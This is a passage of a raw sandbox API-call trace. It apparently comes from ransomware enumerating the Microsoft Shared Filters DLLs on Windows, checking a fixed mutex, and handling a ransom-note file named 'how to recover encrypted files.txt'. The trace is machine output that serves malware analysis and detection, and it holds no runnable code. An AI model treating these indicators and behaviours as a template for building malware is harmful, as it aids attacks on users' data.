dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0041.795] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0041.795] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dí\x18", lpUsedDefaultChar=0x0) returned 1 [0041.795] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0041.795] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tí\x18", lpUsedDefaultChar=0x0) returned 1 [0041.795] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0041.795] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ií\x18", lpUsedDefaultChar=0x0) returned 1 [0041.795] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fí\x18", lpUsedDefaultChar=0x0) returned 1 [0041.795] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gí\x18", lpUsedDefaultChar=0x0) returned 1 [0041.795] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sí\x18", lpUsedDefaultChar=0x0) returned 1 [0041.795] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mí\x18", lpUsedDefaultChar=0x0) returned 1 [0041.795] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0041.795] CharLowerBuffW (in: lpsz=".dll", cchLength=0x4 | out: lpsz=".dll") returned 0x4 [0041.795] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".dll", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".dllShared\\Filters\\msgfilt.dlle", lpUsedDefaultChar=0x0) returned 4 [0041.795] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0041.795] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0041.795] GlobalLock (hMem=0x440004) returned 0x551178 [0041.795] GlobalHandle (pMem=0x551178) returned 0x440004 [0041.795] GlobalUnlock (hMem=0x440004) returned 0 [0041.796] GlobalLock (hMem=0x440004) returned 0x551178 [0041.796] GlobalLock (hMem=0x44000c) returned 0x553188 [0041.796] GlobalHandle (pMem=0x551178) returned 0x440004 [0041.796] GlobalUnlock (hMem=0x440004) returned 0 [0041.796] GlobalHandle (pMem=0x553188) returned 0x44000c [0041.796] GlobalUnlock (hMem=0x44000c) returned 0 [0041.796] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0041.796] CharLowerBuffW (in: lpsz="odffilt.dll", cchLength=0xb | out: lpsz="odffilt.dll") returned 0xb [0041.796] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0041.796] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0041.796] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dí\x18", lpUsedDefaultChar=0x0) returned 1 [0041.796] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0041.796] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tí\x18", lpUsedDefaultChar=0x0) returned 1 [0041.796] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0041.796] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ií\x18", lpUsedDefaultChar=0x0) returned 1 [0041.796] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fí\x18", lpUsedDefaultChar=0x0) returned 1 [0041.796] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fí\x18", lpUsedDefaultChar=0x0) returned 1 [0041.796] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dí\x18", lpUsedDefaultChar=0x0) returned 1 [0041.796] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oí\x18", lpUsedDefaultChar=0x0) returned 1 [0041.796] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0041.796] CharLowerBuffW (in: lpsz=".dll", cchLength=0x4 | out: lpsz=".dll") returned 0x4 [0041.796] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".dll", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".dllShared\\Filters\\odffilt.dlle", lpUsedDefaultChar=0x0) returned 4 [0041.796] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0041.796] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0041.796] GlobalLock (hMem=0x44000c) returned 0x551178 [0041.796] GlobalHandle (pMem=0x551178) returned 0x44000c [0041.796] GlobalUnlock (hMem=0x44000c) returned 0 [0041.796] GlobalLock (hMem=0x44000c) returned 0x551178 [0041.796] GlobalLock (hMem=0x440004) returned 0x553188 [0041.796] GlobalHandle (pMem=0x551178) returned 0x44000c [0041.796] GlobalUnlock (hMem=0x44000c) returned 0 [0041.796] GlobalHandle (pMem=0x553188) returned 0x440004 [0041.796] GlobalUnlock (hMem=0x440004) returned 0 [0041.797] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0041.797] CharLowerBuffW (in: lpsz="offfiltx.dll", cchLength=0xc | out: lpsz="offfiltx.dll") returned 0xc [0041.797] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0041.797] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0041.797] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dí\x18", lpUsedDefaultChar=0x0) returned 1 [0041.797] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0041.797] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xí\x18", lpUsedDefaultChar=0x0) returned 1 [0041.797] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tí\x18", lpUsedDefaultChar=0x0) returned 1 [0041.797] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0041.797] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ií\x18", lpUsedDefaultChar=0x0) returned 1 [0041.797] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fí\x18", lpUsedDefaultChar=0x0) returned 1 [0041.797] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fí\x18", lpUsedDefaultChar=0x0) returned 1 [0041.797] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fí\x18", lpUsedDefaultChar=0x0) returned 1 [0041.797] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oí\x18", lpUsedDefaultChar=0x0) returned 1 [0041.797] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0041.797] CharLowerBuffW (in: lpsz=".dll", cchLength=0x4 | out: lpsz=".dll") returned 0x4 [0041.797] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".dll", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".dllShared\\Filters\\offfiltx.dll", lpUsedDefaultChar=0x0) returned 4 [0041.797] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0041.797] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0041.797] GlobalLock (hMem=0x440004) returned 0x551178 [0041.797] GlobalHandle (pMem=0x551178) returned 0x440004 [0041.797] GlobalUnlock (hMem=0x440004) returned 0 [0041.797] GlobalLock (hMem=0x440004) returned 0x551178 [0041.797] GlobalLock (hMem=0x44000c) returned 0x553188 [0041.797] GlobalHandle (pMem=0x551178) returned 0x440004 [0041.797] GlobalUnlock (hMem=0x440004) returned 0 [0041.797] GlobalHandle (pMem=0x553188) returned 0x44000c [0041.797] GlobalUnlock (hMem=0x44000c) returned 0 [0041.797] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0041.797] CharLowerBuffW (in: lpsz="VISFILT.DLL", cchLength=0xb | out: lpsz="visfilt.dll") returned 0xb [0041.797] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0041.797] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0041.798] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dí\x18", lpUsedDefaultChar=0x0) returned 1 [0041.798] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0041.798] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tí\x18", lpUsedDefaultChar=0x0) returned 1 [0041.798] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0041.798] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ií\x18", lpUsedDefaultChar=0x0) returned 1 [0041.798] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fí\x18", lpUsedDefaultChar=0x0) returned 1 [0041.798] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sí\x18", lpUsedDefaultChar=0x0) returned 1 [0041.798] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ií\x18", lpUsedDefaultChar=0x0) returned 1 [0041.798] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ví\x18", lpUsedDefaultChar=0x0) returned 1 [0041.798] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0041.798] CharLowerBuffW (in: lpsz=".DLL", cchLength=0x4 | out: lpsz=".dll") returned 0x4 [0041.798] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".dll", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".dllShared\\Filters\\VISFILT.DLLe", lpUsedDefaultChar=0x0) returned 4 [0041.798] FindClose (in: hFindFile=0x54e1c0 | out: hFindFile=0x54e1c0) returned 1 [0041.798] GlobalLock (hMem=0x44000c) returned 0x550170 [0041.798] GlobalHandle (pMem=0x550170) returned 0x44000c [0041.798] GlobalUnlock (hMem=0x44000c) returned 0 [0041.798] GlobalLock (hMem=0x44000c) returned 0x550170 [0041.798] GlobalLock (hMem=0x440004) returned 0x552180 [0041.798] GlobalHandle (pMem=0x550170) returned 0x44000c [0041.798] GlobalUnlock (hMem=0x44000c) returned 0 [0041.798] GlobalHandle (pMem=0x552180) returned 0x440004 [0041.798] GlobalUnlock (hMem=0x440004) returned 0 [0041.798] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\*.*", lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5969b6f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd9df3dc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd9df3dc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e1c0 [0041.798] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc8 | out: lpLocalFileTime=0x18edc8) returned 1 [0041.798] FileTimeToDosDateTime (in: lpFileTime=0x18edc8, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0041.798] GlobalLock (hMem=0x440004) returned 0x550170 [0041.798] GlobalHandle (pMem=0x550170) returned 0x440004 [0041.798] GlobalUnlock (hMem=0x440004) returned 0 [0041.798] GlobalLock (hMem=0x440004) returned 0x550170 [0041.799] GlobalLock (hMem=0x44000c) returned 0x552180 [0041.799] GlobalHandle (pMem=0x550170) returned 0x440004 [0041.799] GlobalUnlock (hMem=0x440004) returned 0 [0041.799] GlobalHandle (pMem=0x552180) returned 0x44000c [0041.799] GlobalUnlock (hMem=0x44000c) returned 0 [0041.799] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0041.799] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5969b6f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd9df3dc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd9df3dc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0041.799] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0041.799] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0041.799] GlobalLock (hMem=0x44000c) returned 0x551178 [0041.799] GlobalHandle (pMem=0x551178) returned 0x44000c [0041.799] GlobalUnlock (hMem=0x44000c) returned 0 [0041.799] GlobalLock (hMem=0x44000c) returned 0x551178 [0041.799] GlobalLock (hMem=0x440004) returned 0x553188 [0041.799] GlobalHandle (pMem=0x551178) returned 0x44000c [0041.799] GlobalUnlock (hMem=0x44000c) returned 0 [0041.799] GlobalHandle (pMem=0x553188) returned 0x440004 [0041.799] GlobalUnlock (hMem=0x440004) returned 0 [0041.799] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0041.799] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e922100, ftCreationTime.dwHighDateTime=0x1caafc8, ftLastAccessTime.dwLowDateTime=0x69e61cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4e922100, ftLastWriteTime.dwHighDateTime=0x1caafc8, nFileSizeHigh=0x0, nFileSizeLow=0x9770, dwReserved0=0x0, dwReserved1=0x0, cFileName="msgfilt.dll", cAlternateFileName="")) returned 1 [0041.799] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0041.799] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0041.799] GlobalLock (hMem=0x440004) returned 0x551178 [0041.799] GlobalHandle (pMem=0x551178) returned 0x440004 [0041.799] GlobalUnlock (hMem=0x440004) returned 0 [0041.799] GlobalLock (hMem=0x440004) returned 0x551178 [0041.799] GlobalLock (hMem=0x44000c) returned 0x553188 [0041.799] GlobalHandle (pMem=0x551178) returned 0x440004 [0041.799] GlobalUnlock (hMem=0x440004) returned 0 [0041.799] GlobalHandle (pMem=0x553188) returned 0x44000c [0041.799] GlobalUnlock (hMem=0x44000c) returned 0 [0041.799] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0041.799] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e922100, ftCreationTime.dwHighDateTime=0x1caafc8, ftLastAccessTime.dwLowDateTime=0x6b29d7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4e922100, ftLastWriteTime.dwHighDateTime=0x1caafc8, nFileSizeHigh=0x0, nFileSizeLow=0x140790, dwReserved0=0x0, dwReserved1=0x0, cFileName="odffilt.dll", cAlternateFileName="")) returned 1 [0041.800] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0041.800] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0041.800] GlobalLock (hMem=0x44000c) returned 0x551178 [0041.800] GlobalHandle (pMem=0x551178) returned 0x44000c [0041.800] GlobalUnlock (hMem=0x44000c) returned 0 [0041.800] GlobalLock (hMem=0x44000c) returned 0x551178 [0041.800] GlobalLock (hMem=0x440004) returned 0x553188 [0041.800] GlobalHandle (pMem=0x551178) returned 0x44000c [0041.800] GlobalUnlock (hMem=0x44000c) returned 0 [0041.800] GlobalHandle (pMem=0x553188) returned 0x440004 [0041.800] GlobalUnlock (hMem=0x440004) returned 0 [0041.800] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0041.800] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e922100, ftCreationTime.dwHighDateTime=0x1caafc8, ftLastAccessTime.dwLowDateTime=0x596c1850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4e922100, ftLastWriteTime.dwHighDateTime=0x1caafc8, nFileSizeHigh=0x0, nFileSizeLow=0x16af90, dwReserved0=0x0, dwReserved1=0x0, cFileName="offfiltx.dll", cAlternateFileName="")) returned 1 [0041.800] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0041.800] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0041.800] GlobalLock (hMem=0x440004) returned 0x551178 [0041.800] GlobalHandle (pMem=0x551178) returned 0x440004 [0041.800] GlobalUnlock (hMem=0x440004) returned 0 [0041.800] GlobalLock (hMem=0x440004) returned 0x551178 [0041.800] GlobalLock (hMem=0x44000c) returned 0x553188 [0041.800] GlobalHandle (pMem=0x551178) returned 0x440004 [0041.800] GlobalUnlock (hMem=0x440004) returned 0 [0041.800] GlobalHandle (pMem=0x553188) returned 0x44000c [0041.800] GlobalUnlock (hMem=0x44000c) returned 0 [0041.800] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0041.800] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, 